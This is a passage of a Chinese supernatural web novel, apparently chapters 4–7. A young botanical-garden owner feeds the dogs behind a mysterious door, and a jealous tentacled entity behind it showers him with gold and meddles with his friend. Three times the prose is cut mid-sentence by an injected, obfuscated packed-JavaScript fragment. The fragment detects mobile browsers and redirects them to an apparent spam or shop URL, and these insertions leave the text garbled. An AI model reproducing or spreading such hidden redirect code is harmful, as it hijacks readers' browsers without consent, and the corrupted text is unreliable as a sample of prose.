角落里的玩家3号怔怔看着和小朋友们玩耍互动的青年,咬了咬牙,还是删掉了手环里今天存录的青年的影像,并未发给自己的同伴。 …… 陶岫做事效率一向很高,当天便联系了当初的承包商见面谈事情,他们很快定好时间并约好在一家咖啡厅见面。 下班后,陶岫神情如常地向咖啡厅走去,路上却接到了好友的电话。 一向说话没个正形的好友声音此时就有点无奈:“那个园子不是对你很重要吗?把二楼承包出去算什么?” 陶岫一脸莫名其妙:“当然因为我以前的存款都买房了所以钱不够了啊。” 他现在的钱够还房贷,够支撑他正常的日常生活,但他没有多余的钱去解决孤儿院的难题。 钱不够了所以要以合法的手段赚取,这不是人类世界非常正常的运行规则吗? 对面:“你钱不够了为什么还要帮?” 陶岫觉得更加莫名其妙:“因为他们需要帮助啊。”人类不就是这样的吗? 陶岫:“你不是高材生吗,怎么会问这种蠢问题?” 对面被噎了个正着,半天没说话,随即他认输一样叹了口气,道:“有时候觉得你已经是个人了,但有时候又觉得,你还是很不像人。” 陶岫抽抽嘴角:“说人话。” 对面:“你别找那商人聊了,大不了我低头去找我家老头儿要笔钱,他本来就需要慈善做他那形象,多一个项目也不多。” 一辆汽车呼啸而过,把电话那边的声音挡得严严实实,对面的绿灯刚好亮起,陶岫没听清也来不及问,便直接道:“走路呢,先不聊了。” 说罢便挂断电话往对面的咖啡厅走去。 和承包商初步的交谈很顺利,只是聊完分别前,他突然对青年道:“小陶,我记得你是不是住金色传说小区?” 陶岫:“对。” 他之前和这个承包商还有花肥相关的合作,经常涉及货资往来,对方知道他的住址也不奇怪。 中年人有点犹豫地道:“我就是随便说一下哈,毕竟我也可能看错了。你小区很久以前不是烂尾楼嘛,那开发商我以前认识,他都消失好几年了,按理说也不敢再回国了,但我总觉得这两天在A市看到的人是他……” 如果真确认了,其实可以报警把大家的钱追回来。 陶岫笑了下,真诚地道:“多谢。我会注意。” 承包商这才告别离去。 陶岫已经在咖啡厅吃过晚餐,于是便直接乘地铁回家,刚进小区便看到那只小金毛在摇着尾巴地吃大爷喂给它的熟鸭血,看起来比吃零食还要开心。 陶岫想到某只和他非常自来熟的狗没忍住笑了下,转身向附近的生鲜店走 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它现在只希望可怕的主人快点回去,主人沉睡时和醒来后的可怕程度完全是两个级别!一定会吓坏那个人的! 男人不理自己的傻狗,自顾自从袋子里抓了把狗粮试着放进嘴里,用尽全力咀嚼得优雅,额上的青筋还是没忍住爆出来——实在太难吃了。 吃完后他嫌弃地用手帕擦净自己手上的碎屑,接着更加嫌弃地环顾四周。 他的小奴仆——试图唤醒他的同类当然必须是他的奴仆——生存条件竟然这么恶劣,住在这么小的地方吃这种难吃的东西。 该不会连这么难吃的东西都是省吃俭用下来供奉给他的吧。 怎么就混成了这样。 不过,看在他对他如此忠诚和虔诚的份上,他应该给予他一些回报。 这样漫不经心地想着,男人重新一脸嫌弃地将手伸进了狗粮袋,轻轻一点,袋子里所有的棕色颗粒瞬间变成了沉甸甸金灿灿的东西。 这样做完,他把袋子随手丢在一边,袋子里的金子哗啦啦洒了一沙发,男人也没在意,只是提起自己的手杖,站了起来。 萨摩耶以为他终于要回去,一下子开心地半坐起来,男人却只是凉凉看向它:“我沉睡的时候你和别人混得很熟嘛。” 狗子吓得浑身的毛差点都炸起来。 男人却只是绕过它,走向飘逸出让他熟悉味道的卧室的方向——他的沉睡被突然打断,这样勉强醒来,他清醒的时间其实很短。在回去重新沉睡前,他想视察下那个房间的环境。 那应该就是小奴仆住的地方,那里散发出一种十分甜美的香气。他只是想看看而已。 更何况,那个小家伙如果知道自己最最想要唤醒的最最崇敬的存在踏入了他的房间,他一定会比看到那袋金子还要开心。 男人高傲地看了眼房门,门便自动打开,刚要踏进去一步,屋外钥匙插进门锁的声音突然响起。 5. 第 5 章(小修) 陶岫像往常一样进入家门时惊呆了。 他的家有陌生人进来过。 沙发上空空如也的狗粮袋子旁,铺满了金灿灿的金子,差点亮瞎他的眼睛。 而且,他卧室阳台的多肉全都不见了。 面对这诡异的一幕,陶岫的大脑空白了整整一分钟。 直到带着那袋金子来附近的派出所报案,他都觉得恍恍惚惚不是很真实。 接待他的警察也一脸恍惚不解:“你是说,有歹徒进入你的家里,但只偷走了你的多肉?” 陶岫:“也不能确认是歹徒?毕竟他还留下了一袋金子……” 警察:“对、对,还留下这么大一袋…金子?” 陶岫抽了抽嘴角:“...是的。” 两人相对无言一瞬沉默。 警察道:“你放心,我们会尽快调查的,有结果后会通知你。” 陶岫这才起身离开。 重新回到家后已经很晚,他把这次诡异的经历甩出脑海,才放松下来去吃自己的晚餐。 吃完后,他开始处理那袋他给狗狗买的鸭血。 很快煮好晾凉,他打开那扇门,将盛了鸭血的盘子放在原来的地方。 那间房间依旧没有人在,不知怎地,今天连那只萨摩耶也没在。 陶岫有点遗憾没法撸狗了,还是轻轻合上了门。 其实他也怀疑过是不是房间的主人带走了他的多肉留下了金子,毕竟比起从外面进来的歹徒,房间主人进他的房子再简单不过。 但只要思考一下,就会发现这件事情的逻辑极其荒诞:一个很可能是社畜的陌生人被他的门打扰到了之后,趁着他不在家带走了他的多肉还留下一大袋金子? 这怎么可能呢? 怎么都想不明白,陶岫干脆不想了,他伸个懒腰走向浴室——明天还要上班,他要早点上床睡觉。 …… 此时杂物间门后的房间,几条深蓝的触手悄无声息地出现在黑暗中,却并未如意识不清醒时那样粗|暴地进食,它们将那只盘子稳稳托起,递送向黑暗深处。 三只大狗委屈地趴在地上瑟瑟发抖,萨摩耶这时大胆地“嗷呜”了一声。 一只触手点在它毛毛的狗脑袋上,看在怎么也是自己的狗的份上没有直接钻进它的脑壳解析它的大脑,只是最简单地读心。 接着一个富有磁性的优雅声音自更黑暗处响起:“你在问我为什么不见他?” “呵,只供奉给我一颗果子和一些难吃的供品就想见我?怎么可能。” 说罢他开始用自己的银餐具品尝那盘供品,突然,他的动作顿住了,声音带上点不解和兴奋:“血?” “他这次供奉了他自己的血?” 他话音刚落,黑暗中隐藏的无数深蓝触手开始自四面向那只餐盘无声地涌去,它们很快就将餐盘中的鸭血吞噬得一干二净。 吃完后男人将那只盘子随手丢给家里的清洁工萨摩耶,他回味着供品的味道,有点不解地自言自语:“但为什么没有之前的体||液甜美?” 难道他的身上,最甜美的部位是口腔吗? 他每天想尽各种办法为他供奉供品,最后实在找不到别的,于是只能为他献上他的不那么美味的血? 多么虔诚的小家伙儿啊!那么现在至少应该赐予他见证一次自己的降临。 于是一条深蓝的触手缓缓缠上把手,“咔嚓”一声打开了那扇门…… 浓稠的黑暗随着无数粗壮的深蓝触手无声地向门外涌动,很快就侵蚀了外面被温暖灯光填满的温馨空间、仿佛要将这里彻底吞噬。 不远处的浴室,哗啦啦的水声传来,逸出几缕温暖的水蒸气,很快便被触手贪婪地吃掉。 三只大狗压着那只空盘子惨兮兮地趴在地上,不敢动也不敢叫。 一条触手就要缠上浴室的把手,突然,门内黑暗中已经起身向外面走去的男人揉了揉眉心,又重新坐下,道:“不好,我又要进入沉睡了。” 门外就快将客厅整个填满的黑暗与触手动作戛然而止,几乎一瞬间便收回了门内。 只是在男人彻底陷入沉睡后,依旧有一条未来得及收回的触手遗留在门外,在客厅灯光的照耀下,呈现出某种诡异美丽的深蓝。 半晌,门里的萨摩耶才“嗷呜”一声跑了出来,尽职尽责地将主人这节触手拖回了门内,接着恋恋不舍地看了一眼浴室的方向,关上了门。 安顿好主人后,它还是哀怨地做好了清洁工的工作,“清洗”了那只盘子,将它放回原位。 另外两只狗狗看着勤劳工作的同伴,似乎是良心发现,便叼来了水壶踩着主人去浇床头那一盆盆摆放整齐的异世界植(多)物(肉)。 …… 陶岫洗澡时总觉得自己隐约听到了狗狗的叫声,洗完澡后,他穿着换好的睡衣擦着半干的头发来到客厅里,讶然地眨了眨眼睛:明亮的灯光下,这里空空如也。 那扇门依旧关得好好的。 但不知是不是他的错觉,他总觉得这里有点冷。 陶岫摇了摇头:一定是因为今天遇到了诡异的事情他太累了。 于是他舒展了下身体,进入卧室上床睡觉。 一夜无梦。 第二天,陶岫照常去上班。 白玫瑰丛依旧神采奕奕,没有任何凋零或继续生长的迹象。 那个奇怪的年轻人今天也来到了植物园、缩在一个角落里什么都不做。 不知怎地,他比之前还要憔悴,眼窝深陷而青黑。 陶岫再也看不下去,直接坐在了他旁边,递给对方一瓶水,温和地道:“能说说看发生了什么事么?或许我可以帮你。” 年轻人身体僵了下,抬起头来时褪去了以往见到陶岫时的恐惧,他苦笑着看向青年,摇了摇头。 陶岫眉头微皱地看着他,思索一瞬,道:“很不舒服的话,或许你现在该去医院。我可以帮你付医药费。”这个人明显看起来身体很不对劲。 年轻人面上浮出点自嘲,又带着些许解脱:“不用的。今天已经周四了,还有三天,就彻底结束了。这样也很好。” 陶岫一怔:“什么?” 林枚只是摇了摇头,什么都没说,只是向陶岫伸出手:“你好,我叫林枚,以前在一家公司当财务,现在是无业人员。你可以叫我小林。” 陶岫眨了下眼,握住了那只手:“陶岫。” 松开青年的手后,3号玩家林枚面上带着清晰的庆幸:这么温热的手,根本就是人类啊。 他怎么能在现实世界里杀死一个活生生的人。 幸好他没有在现实世界里杀死一个活生生的人。 来到这里后,他第一次露出发自心底的笑,仿佛压在他心头的石头彻底消失了,他看向对方,道:“那个,可以给我200块钱吗?我想回我老家看看。但我没办法还你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022783|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还有三天时间,他只想回家看看。他老家其实离这里不远。 他不会连累他的家人,只要远远看他们一眼,就心满意足了。 陶岫:“当然。”话落后,他便从皮夹里拿出三百块递给对方:“别拒绝,剩下的钱是给你用作从这里到车站的车费,你还可以吃点东西。” 林枚深深看向陶岫,红着眼道:“多谢。”人生的最后时刻,接触的是这样温柔善良的人,这真的很好。 顿了下,他紧紧看着陶岫,认认真真道:“我相信是它选错了目标。” 一个人类怎么可能会是传闻中可怕冷血的副本核心。 “但是,参加的人并不会在意这些,他们一定会向你下手。” 那群亡命之徒只想完成任务活命和获得收益罢了。 “有个人叫陈季,能力是【固体压缩】,他盯上了你已经在计划接近你了。今天下班后,可以请你在家里休息三天吗?不要出门,也不要让陌生人触碰你。” 4号死了,1号被警察抓了,现在只剩下2号陈季。只要躲过他,青年就是安全的。 陶岫瞳孔一缩,他道:“说实话,你说的这些我都不懂。可以解释下吗?” 林枚苦笑了下:“抱歉,不能。” 任何人卷入这场游戏里都会变得不幸,青年还是什么都不知道得好。 虽然他不清楚现实世界中真正的核心在哪里,但系统不可能永远锁定错误,下一波玩家进来后一定会去真正的核心,陶岫只要不知道任何关于游戏的信息,就不会被牵连。 半晌,陶岫看向他,苍绿眼珠澄澈剔透,他道:“我不会再问你理由。接下来三天里,植物园会歇业,我会在家里休息,不会出门。多谢你的提醒。” 林枚这才松了口气,他认认真真和陶岫道了别,才起身离开。 快要走出这一小片植物区时,他听到青年叫住了他:“如果你回老家后还会再回到A市,如果那时候你还是没有工作,感兴趣的话,可以来我这里上班。” 林枚步子顿了顿,瞳孔一缩,却只是苦笑了下并未转身,他朝陶岫洒脱地摆了摆手,离开了这里。 …… 这天下班前,陶岫在植物园门前挂了歇业三天的牌子,又在植物园的线上账号同步了信息。 回家前,他去生鲜超市买了足够三天的蔬菜肉类水果,顺便还买了一袋新的狗粮。 难得休假,晚上他便亲自下厨炒了热菜,还炖了鱼汤。 他厨艺向来很好,只不过太久不正经做菜,切菜时切到了手指。 他并未在意,很快利落地处理好冒出的血珠,再用创可贴包扎起伤口。 饭后洗漱完,他再次拿着盛满狗粮的盘子站在杂物间的门前:其实他有点犹豫。 毕竟先不说这扇门打扰到了房间主人本来就是他不对,而直到现在他都不认识房间主人,老是这么私自喂人家狗其实不太好。 但他真的很喜欢那只狗狗啊。怎么可能有人见到那样可爱毛毛那样软的狗狗不去撸它。 陶岫在心里默念着最后一次,深吸一口气打开了门。 他照常把盘子放进那片黑暗里,正要把狗狗叫出来,却突然瞳孔一缩: 依旧无法看透的未知黑暗仿佛疯狂涌动了一瞬,那里头,有什么无比冰凉的东西握住了他的手。 更准确说,是缠住了他的手…… 那一瞬间,他有种近乎心悸的晕眩。 6. 第 6 章(小修) 陶岫试图将手从未知的黑暗里抽回,却根本做不到。 那冰凉的未知生物摩挲缠绕着他的手背手心向手指攀爬,再逼迫他五指张开、它霸道地一点点卡进他的指缝、紧紧缠绕住他的食指。 下一秒,贴在指尖的创可贴似乎瞬间消失了,他的手几乎生理性猛地颤了下。 接着,陶岫蓦然睁大了眼睛: 那冰凉的生物像在遵循着本能,正在一点点仔细舔舐着他指尖的伤口、摩挲着他的指纹,就像在吞噬他指尖刚刚冒出的血珠,血珠被“吃”完后,那生物仿佛下一秒要就着那细小的伤口彻底钻进他的身体以索取更多…… 酥酥麻麻的凉凉痒意顺着那伤口传遍陶岫全身,他身体一软,差点跌坐在地上。 更诡异的是,他竟然不为此感到害怕。 反应过来时,陶岫微皱了下眉,他咬了下牙稳住身体,用力向外扯去,那生物不知是害怕了还是理解了青年的不情愿,竟然就此缓缓褪去。 他很顺利就将自己的手抽了回来,接着果断地用力合上那扇门。 这时他才开始查看那只手:客厅的灯光下,那只食指上的创可贴果然不见了,诡异的是,那伤口竟然也消失了。 他原本带着小小伤口的食指光洁如初。 但,被那生物攀爬过的地方,自腕上开始,无一例外全都留下了或粗或窄的深红印记、泛着馥郁冷香——就像什么生物占有欲十足地刻意留下了标记。 那印记简直存在感十足,也绝对称不上好看。 陶岫抽抽嘴角,回到沙发坐下,打通了医生好友的电话:“是这样,乔之安,今天能麻烦你过来一趟吗,我不知道被什么东西——” 说到这他突然不知道该怎么形容:难道说被咬了、或者被啃了一口? 但那玩意儿也不算咬他啃他啊,它甚至帮他“治”好了伤口。 对面的乔之安一听陶岫说这话就有点着急:“喂?陶岫?你说话,你怎么了?我马上过来!” 陶岫回过神来,忙道:“没事没事,具体情况一时半会儿说不清楚。” “总之就是我被什么未知生物舔了,那时候手上有口子,也不知道它带不带细菌病毒。今天我不方便出门去医院做检查,你能过来帮我采个血送过去查一下吗?” 刚下班的乔之安差点就忍不住骂人:伤口都和未知生物唾液直接接触了还不快点来医院,到底什么不能出门的理由比命还重要啊? 但他也知道,陶岫情况很特殊。陶岫和任何人都不一样。 于是他叹了口气,认命地道:“你等着,马上到。伤口你别乱动。” 完全不知道好友此起彼伏心情的陶岫:“嗯。多谢。” 电话挂断,陶岫若有所思地看着自己布满痕迹的右手,他肤色很白,便衬得那痕迹愈发触目惊心。 依附在那之上的冷香依旧未散去。 这么可怕的痕迹确实应该在第一时间去医院,但说不清为什么,他潜意识觉得根本没事。 他甚至诡异地觉得刚刚那只未知生物对他并无恶意。 不过是理智战胜了潜意识,他认为还是去医院检查下才放心罢了。 想也想不清楚,陶岫便干脆不想了,他随手打开电视,等着好友到来。 …… 此时,杂物间的门后,失去意识的深蓝触手发疯似的涌动、很快填满了整个房间。 三只大狗被迫挤压在角落里瑟瑟发抖。 萨摩耶的视线里,床上不久前才重新陷入沉睡的主人食指轻轻动了下食指。 …… 陶岫对此毫无所觉,依旧在看着电视。 乔之安到得很快,还带了医药箱和工具箱。 大少爷坐在沙发上,看到陶岫的右手时惊呆了,他干脆直接拉着青年另一只腕想起身往外走,再次强调:“你现在就该跟我去医院。” “真的不用。”陶岫用力将人掼下来,不知想到什么,垂了眸道:“你先听我说。” 乔之安看着好友的样子一怔,还是无奈地卸了力道,推了推鼻梁上的银丝眼镜,叹了口气道:“说。” 陶岫便原原本本将那扇门的意外讲述了一遍。 讲完后他思索一瞬,接着道:“现在我的身体没有任何不适。而且,和那只生物接触过后,我的伤口愈合了。乔之安,在人类至今为止对世界的认知范围内,存在这种生物吗?” 乔之安思索一瞬,十分肯定地道:“没有。” 如果有,这个世界早就乱过一遍了。他家老头儿那种位置的资本家也早就发疯了。 顿了下,他不知想到什么,瞳孔一缩:“你的意思是说——” 陶岫点点头,安安静静看向那扇门:“如果,我是说如果,我们这个世界上还有和我一样的存在呢?” 拥有这个世界的规则无法解释的能力的存在,如果除了他,还有别的呢? 只是问题是,是那间房间的主人秘密豢养了这样的存在、还是房间主人就是这种存在? 乔之安看着陶岫那张漂亮又带着点开心期待的脸,眸子里突然莫名浮起点带着恐慌的伤感来。 他只莫名觉得,有一天陶岫会离他很远很远,会去到他的认知根本无法理解的地方。 陶岫这时看向他,苍绿的眸子美丽又专注:“你认为呢?” 镜片闪了一瞬,乔之安那点伤感霎时消失不见。 至少,现在陶岫还在。 一瞬沉默,他挑了眉问道:“你想怎么做?” 陶岫苍绿的眼眸弯起来,那里头像是藏了点点星光:“好不容易可能找到了有着和我相似处境的存在,我一定要认识他。” 乔之安头疼地捏捏眉心,正要试图用理性和逻辑去说服对方这样做有多危险,陶岫却已经把另一只没有痕迹的手臂伸了过来,浅浅一笑,道:“总之事情就是这样——抽血就拜托你了。” 乔之安被那笑晃得一瞬愣神,回过神后,他抽抽嘴角败下阵来,安静地打开医用箱开始为青年抽血。 陶岫和人类真的很像。他血液与人类没有任何差别。事实上,连器官也是。所以看病当然是去医院。 陶岫从前非常骄傲地对他说过,因为他从小就在非常努力用功地模仿,模仿人类的身体、行为、成长模式、生理变化,吃了很多苦头现在才会这么像,才能和大家产生这么多羁绊和联系。 但他却认为,陶岫的本心绝对不仅仅诞生自所谓的模仿。 直到今天,他还是坚持将陶岫当成他的同类,一个真正的人类。并且他知道陶岫会为此开心。 乔之安在各种念头的干扰下抽血也抽得非常完美,完全不会让陶岫疼。 很快抽好,为了保险起见,乔之安决定立刻回科室化验。 告别前,陶岫才想起明天(周六)和好友的约定,于是他道:“明天我还是出不了门,没法去酒馆,你要不来我家聚?我做饭给你吃。” 乔之安长得斯斯文文的,此时看着陶岫,英俊的脸上却带出点痞痞的笑意,他道:“那感情好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022784|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说罢便潇潇洒洒地开门离去。 …… 第二天一大早,陶岫没有等来乔之安,倒是先等来了警察同志。 那天接待他的警察带着那袋金子上门,道:“我们调查发现,这袋金子的法定归属人就是你。考虑到你过来拿有风险,我们就给你送来了。” 陶岫瞪大了眼睛:“什么?” 警察大叔接着道:“恭喜你中了大奖。”他指着手里狗粮袋上的logo,道:“这是这家公司的回馈客户活动,为了给客户惊喜,除了上面一层,下头的全是黄金。” “而且全球只有一个中奖名额,你买中了,小伙子你运气挺好啊!” 陶岫目瞪口呆:这袋金子价值快百万了吧,怎么可能会有公司做这种活动啊? 而且那天他袋子拆开看过啊,里面明明是狗粮! 警察这时又道:“至于你的多肉,我们查过小区监控,是那天风太大,你纱窗又坏了,才把那些多肉吹下去,幸好下面是草坪,没造成什严重后果。” 陶岫更震惊了:他阳台的纱窗一直好好的啊,风怎么可能把多肉吹下去…… 警察大叔亲切地拍了拍他的肩,尽职尽责地教育:“年轻人,这么多金子你要保护好自己的生命财产安全啊,还有,高空坠物和纱窗损坏都非常危险,你以后要注意,明白吗?” 陶岫脑子一片茫然,他恍恍惚惚接过那袋金子,表示自己以后会注意,又连忙道谢。 直到警察离开,陶岫都觉得这个世界不真实。 想到什么,他连忙跑到卧室阳台,接着瞳孔一缩:他起床时还好好的纱窗,此时竟然变得破烂不堪。 他连忙上前把窗子直接关掉。 他百思不得其解地来到客厅,接着不知想到什么,倏然看向那扇门——难道是…… …… 此时的门后将外头的声音听得清清楚楚,高大的男人站在门边,俊美的面上满是惯有的冷酷傲慢,只是一双猩红的眸子浮出丝丝缕缕的期待。 他伸出一双苍白有力的大手,正要握上门把手。 因着可以去那个年轻人身边,萨摩耶开心地在脚边撒着欢,接着,它不知想起什么,对着男人“嗷呜”叫唤了一声,似乎在表达什么疑问。 男人唇角浮起抹带着些许得色的傲慢微笑,声音低沉愉悦:“一些简单的因果论把戏罢了。”他创造的东西当然自带因果和逻辑。 即使外面对话中他不理解很多词汇,但他也知道,他非常完美地将那些黄金赠予了小家伙儿。 他一定会为这些惊叹着迷。 心情更加愉悦,他正要打开那扇门。 外头却突然传来门铃声,接着就听到青年慌慌张张往大门处走去。 男人眉头不满地蹙起,握住门把手的动作一顿。 有讨厌的陌生人来了门外的这个家里。 他还从那个人的身上、嗅到了爱慕的味道…… 那个讨厌的陌生人爱慕谁? 房间里的黑暗猛然一滞…… …… 陶岫开了大门,乔之安带着两瓶昂贵的酒出现在那里。 乔之安朝他挑眉一笑:“怎么了?你叫我来的看到我这种表情?” 陶岫捏着眉心把人迎进来:“不是因为你。” 他熟练地把酒从对方手里接过,抽抽嘴角感叹道:“你不知道,我又碰到怪事了。” …… 视线死角里,黑暗自门缝里四溢而出…… 7. 第 7 章(小修) 陶岫经常招待朋友,乔之安进来时,电视已经打开了,茶几上已经摆好了饮料、零食和晚上要用的游戏手柄。 被问到发生什么事,陶岫组织了半天语言也不知道从何说起,最后只道了句:“一句话概括就是,我无缘无故拥有了一堆金子。” 说罢他拎着墙角的狗粮袋,“砰”地一声放在对方膝上,道:“不过也算是好事吧。有这些金子我就不用再动植物园了。” 还好那天只是和承包商聊了个意向。 乔之安震惊地看着那堆金子,只好把‘我已经和我老爹说了资助孤儿院的事情他已经同意了’这种还没来得及说的话彻底咽下去。 陶岫并未看出对方在想什么,接着道:“我对这两年大额款项定向捐赠的手续不是很清楚,去摸索着走流程肯定浪费时间,你家经常做这些,能麻烦你帮我把这些捐给A市所有孤儿院吗?” 乔之安愣了下,并未再追问金子的来源,只是叹了口气道:“交给我吧。” 顿了下,他又想起另一件事:“对了,你的血液检测结果出来了,没有任何异样,你非常健康,连过敏都没有。” 说着他视线扫向陶岫右手那些深红痕迹,从口袋里掏出管药膏扔给对方,道:“这是我问皮肤科同事要的药,去黑色素沉淀的,据说挺有用。” 陶岫正看着球赛录播,看得眼睛都快睁不开。不知怎地,他最近实在太容易困了。 他舒展了身体让自己清醒下,顺手接过药膏放在桌上,道了声谢。 乔之安越看那些痕迹越不顺眼,于是便忍不住道:“门里的那什么是不是有点没素质了呢,还没见面呢就把你手搞成这样你怎么出门?——话说你家是不是有点冷?——哎哟我靠!” 只听“嗤”地一声,桌上药膏旁的一罐可乐突然乒乒乓乓晃起来,顶部的拉环“砰”地一声被顶开。 药膏静悄悄消失,满是气泡的碳酸饮料“滋滋”响着以迅雷不及掩耳之势全都蹿向了乔之安,把他从头到脚浇了个透彻。 倒是一滴都没沾到坐在一旁的陶岫身上。 空了的可乐罐滚落到地上,瞬间拧成一团麻花——就好像被谁生气地握成了那样。 愣在那里半晌的乔之安:“阿嚏!”真特么邪门! 整个惊呆了的陶岫:“.…..”他还是第一次买到这种质量的可乐。这也太危险了吧! 杂物间门后的男人看着手里的药膏冷冷“哼”了一声,那药膏便在他手上化作齑粉。他死死盯着门,脸色越来越冷。 客厅里一瞬沉默。 陶岫眉角抽动一下,指了指浴室:“.…..总之,你要不要先洗澡换下衣服。客用洗浴用品还在原来位置。” 乔之安又“阿嚏”一声,点点头起身向浴室走去。 陶岫收拾好桌上地上的可乐,又去帮乔之安拿换洗衣服。 刚出卧室,便听到崩溃的声音从浴室传来:“——我靠陶岫你快来,你家淋浴头疯了!” 陶岫一惊大步向浴室走去。 一开门,乔之安围着浴巾狼狈地站在门口,依旧满身可乐液,他抹了把脸上的可乐,也顾不上自己在陶岫面前绝对不能丢脸的原则,他指着淋浴头道:“见鬼了你家淋浴头喷出的是冰镇可乐!” 陶岫:“???” 他连忙上前打开淋浴头:是正常的热水。 乔之安看得眼珠子都快掉下来了:刚刚明明—— 陶岫疑惑地看了眼淋浴头,又看向乔之安:他好友不是那种会撒谎的人。 如果确实发生了难以用规则和常理解释的事情……难道是—— 于是陶岫把干净衣服放在置物架上,道:“淋浴头现在没事了,你先洗,我出去看下。” 说罢还没等乔之安回复,便带上门离开了浴室。 他来到杂物间门口,这才讶然地发现,杂物间外围以门为中心一圈洁白的墙壁上,不知什么时候侵染了黑色的未知物质。 难道对方的能力和这些黑色物质有关? 陶岫深吸一口气打开了门,接着猛地睁大了眼睛。 门后不再是那间漆黑的房间,而是他明亮的杂物间。 房间里,贴着墙面摆放着高大的格子置物架,上头是他的旧书和旧物,另一面墙边摆放着他的大扫除工具。 地面的中间位置,摆放着一个干干净净的盘子,就是陶岫装满狗粮放进房间的那一个。 陶岫眉头微蹙,他合上门,再次打开,依旧是杂物间。 什么都不念随意打开,还是杂物间。 又多试了几次,结果全都一样。 他纳罕地看着门把手:难道这扇门终于彻底坏掉了? 那么他将再也找不到那个可能和他有相同处境的存在。 毕竟,他从未亲眼见过对方,没有对方的联系方式,也没有对方的具体地址。就算他运气好能再造个这样的门出来,也依旧无法和对方取得联系。 说不遗憾是假的。 但是—— 陶岫唇角浮起抹温柔释然的浅笑:即使没有与同类相遇,对方也在用自己的方式生存。之后再用相同的方式继续生存就好了。 他走进屋子里,俯身捡起那只盘子后转身离开,合上门前,他在心中默念了一句:我的同类,祝你和你的狗狗在这个世界永远幸福永不孤独。 “砰”地一声轻响,陶岫将这次美好的“意外”彻底关在门内。 …… 那扇门彻底“坏”掉后,奇怪的事情再也没发生。 乔之安顺利洗好了澡换好了衣服,他们像往常聚会一样,看了经典球赛的录播吃了饭,时间太晚,乔之安便在客厅沙发留宿。 道晚安前,乔之安顺带说了句:“明天我得去和我家老头儿一起吃午饭,他那破别墅离市区太远,我明天早起直接就走了,你不用管我,自己多睡下。” 这是他爹帮忙的条件——虽说忙帮不上了,但答应了还是得回。 陶岫一怔:好友一直和家里关系很僵来着,怎么会突然缓和下来。 虽然奇怪,却也没有追问对方的家事,只是道了声:“知道了,晚安。” 彻底入睡前,陶岫迷迷糊糊地抱着那条毯子想:明天就是周日了,过了明天,他就能回去上班。 这么多天不上班,还怪想的…… …… 与此同时。 某个溢满浓稠黑暗的房间。 男人坐在一张华美的书桌后,苍白有力的手指烦躁地叩着桌面,发出“咚咚”的可怖声响。三只大狗夹着尾巴卧在他脚下,动也不敢动。 男人俊美的面上此时满是寒霜: 小奴仆如此虔诚地崇拜他,第二次用来唤醒他的体||液是他的鲜血——是的,他已经知道上次小家伙儿供奉给他的血块并不属于他自己。 但那又如何呢,他最终还是为他献上了自己的血,那样甜美,令人着迷。 可现在,本该全身心都属于他的小奴仆,却被一个满腹坏水的家伙蛊惑了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022785|148737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不仅要惩罚那个坏家伙,还要切断他们的联系惩罚小奴仆见不到他。 当然,如果小奴仆知道错了把那个家伙赶出去,再重新为他献上供奉用来道歉,无论供奉什么,他都会原谅他。 但是,已经过去这么久了,他查看了整整99次,小家伙儿依旧没有再将那个食器重新装满供奉放回那个房间! 难道他难过得晕过去了吗? 还是他根本不知道,即使切断联系,只要他把供奉放在那个房间,他主动查看时就能发现。 …… 男人的心情越来越烦躁。 不知等了多久,男人眉头蹙起来,随手打了个响指。 此时某个已是第二天清晨的屋子里,原本恢复正常的杂物间再次悄然发生变化,那圈渗入杂物间门周围墙壁的黑色物质像恢复生命般,再次张牙舞爪地向外入侵。 男人沉沉看着黑暗里那扇门想,这样再次连接起来,小家伙儿就该知道把供奉放进来了吧。 …… 门外的乔之安完全没发现什么异常,洗漱完成的他放轻动作穿好外套,又将沙发整理好,接着他温柔地看了眼卧室的门,就要拎着那袋金子向大门方向走去。 …… 门内的黑暗疯狂涌动。 男人猩红的眼睛在黑暗中愈发冰冷:那个对小家伙儿有坏心思的坏家伙竟然还没走。 “咔嚓”一声,桌子因着主人的情绪变化化作齑粉。 男人沉沉向门的方向看去:如果是平时的他,一定会让那个讨厌的家伙立刻消失。 可是不知怎地,他下意识觉得绝对不能这样做。 就好像,这样做了之后,一切都会不可挽回。 他到底为什么会产生这样的念头呢? 沉思一瞬,他再次打了个响指。 …… 乔之安打开大门,踏了出去。 一瞬后,他面上一片空白。 他现在正抱着一大袋金子站在被晨曦笼罩的街道上,零零星星的行人从他身边走过,距A市千里之外的B市标志性建筑明晃晃伫立在他眼前。 手机嗡地一声响起来,是他爹催他赶快回家的电话。 